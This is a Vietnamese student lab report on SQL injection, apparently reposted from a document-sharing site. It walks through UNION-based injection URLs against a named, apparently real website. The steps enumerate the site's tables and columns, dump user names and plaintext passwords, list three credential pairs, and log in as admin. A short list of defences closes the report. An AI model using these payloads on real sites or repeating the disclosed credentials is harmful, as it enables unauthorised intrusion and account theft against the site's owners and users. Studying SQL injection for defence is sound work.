báo cáo an ninh mạng lỹ thuật tấn công web

18
Bài báo cáo thực hành môn An ninh mạng KỸ THUẬT TẤN CÔNG SQL INJECTION SV thực hiện : Võ Luận Lớp : 10N MSSV: 101C920052 GVHD: Dương Quốc Hoàng

Upload: luan-vo-pro

Post on 28-Apr-2015

50 views

Category:

Documents


1 download

TRANSCRIPT

Page 1: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạng

KỸ THUẬT TẤN CÔNG SQL INJECTION

SV thực hiện : Võ Luận Lớp : 10NMSSV: 101C920052GVHD: Dương Quốc Hoàng Tú

Page 2: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Giới thiệu về SQL Injection:- SQL Injection là một trong những kiểu tấn công web đang dần trở nên phổ biến hiện nay. Cơ chế hoạt động này đạt được bằng cách thu thập dữ liệu từ 1 database. Một số nền database phổ biến hiện nay như Oracle, Microsoft SQL Server, Sybase, MySQL, hay PostgreSQL… Một trong những cách tấn công khó bị nhận thấy và nguy hiểm nhất lên 1 ứng dụng web là việc chiếm đoạt những chuỗi truy vấn SQL, để đoạt quyền điểu khiển ứng dụng đó hoặc các dữ liệu của nó. SQL injection là một trong những cơ chế hiệu quả nhất để đạt được điều đó.

Bài báo cáo thực hành môn An ninh mạng

Page 3: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạng

Bài này mình sử dụng trình duyệt web Mozilla Firefox. Firefox có ứng dụng tiện ích là HackBar hổ trợ trong việc viết các câu lệnh kiểm tra website bị lỗi SQL injection

Page 4: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngB1: Tìm trang website bị lỗi SQL

-Ta có trang website : http://www.bitunilegypt.com/

Page 5: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngB1: Tìm trang website bị lỗi SQL

-Ta vào 1 mục bất kỳ trong trang web đó: http://www.bitunilegypt.com/index.php?CMS_P=32

Page 6: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngB1: Tìm trang website bị lỗi SQL

Rồi ta thêm “ ‘ ” sau url trên http://www.bitunilegypt.com/index.php?CMS_P=32’=> Ta thấy nó báo lỗi You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND CMS_Page_Publish=0' at line 1

Page 7: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngB2: Đếm số column. Sử dụng lệnh order by để đếm column(cột).Ta chèn sau url đoạn mã : order by ….— (… ở đây là giá trị số, thứ cho đến khi nào link bị lỗi thì dừng lại ).http://www.bitunilegypt.com/index.php?CMS_P=32 order by 2 --

Page 8: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngB2: Đếm số column. Sử dụng lệnh order by để đếm column.

http://www.bitunilegypt.com/index.php?CMS_P=32 order by 3 --Nó báo lỗi: Unknown column '3' in 'order clause'=>> như vậy trong database có 2 column

Page 9: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngB3: Show ra các table namehttp://bitunil.com/index.php?CMS_P=NULL UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database() --ta thay 32= NULL để show ra man hình trống Danh sách các table name : artners_s1, partners_s2, photo_gallery, pro_categories, pro_main_category, pro_products, users

Page 10: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạng B4: show ra các column trong table users.http://bitunil.com/index.php?CMS_P=NULL UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=users –=> Không thể show ra, vì ở đây ta điền usres thì sẽ không hiểu, mà phải chuyển ascii hoặc char. Hackbar có hổ trợ chức năng này

Page 11: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngB4: show ra các column trong table users.Ta điền vào users, lúc ấy link sẽ là: http://bitunil.com/Index.php?CMS_P=NULL UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115) –

Page 12: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngB4: show ra các column trong table users.=>>Các column trong table usres : er_cat_id,user_name,user_pass,user_fname,user_lname,user_mail,user_tel,user_addresTa qua tâm đến các column: user_name,user_pass,user_mail

Page 13: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngB5: ta show các column: user_name,user_pass,user_mail(chú ý theo thứ tự của chúng)Show column: user_name: http://bitunil.com/index.php?CMS_P=NULL UNION SELECT 1,group_concat(user_name) from users –=>> tor,bituniladmin,j0k3r =>> các user_name

Page 14: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngB5: ta show các column: user_name,user_pass,user_mailShow column user_pass: http://bitunil.com/index.php?CMS_P=NULL UNION SELECT 1,group_concat(user_pass) from users –=>> tdepws,EcobitP10,die =>> các user_pass

Page 15: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngVậy ta có các users và password sau:

tor – tdepws , bituniladmin - EcobitP10 , j0k3r - die

Page 16: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngB6: Đăng nhập vào tài khoảnTa đăng nhập với users và password: bituniladmin - EcobitP10

Page 17: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngB6: Đăng nhập vào tài khoảnĐăng nhập thành công admin

Page 18: Báo Cáo An Ninh Mạng lỹ thuật tấn công web

Bài báo cáo thực hành môn An ninh mạngCách phòng chống:- Mã hóa password- Lọc những ký tự có thể gây hại như ',",--,: ... ngay từ khi nhận yêu cầu truy vấn từ bên ngoài- Update SQL với những bản mới nhất - Khoá các từ khóa nhạy cảm đối với SQL bằng cách dùng firewall chặn ngay từ đầu vào- Loại bỏ những từ khóa SELECT, DELETE, INSERT,… trong câu truy vấn từ bên ngoài.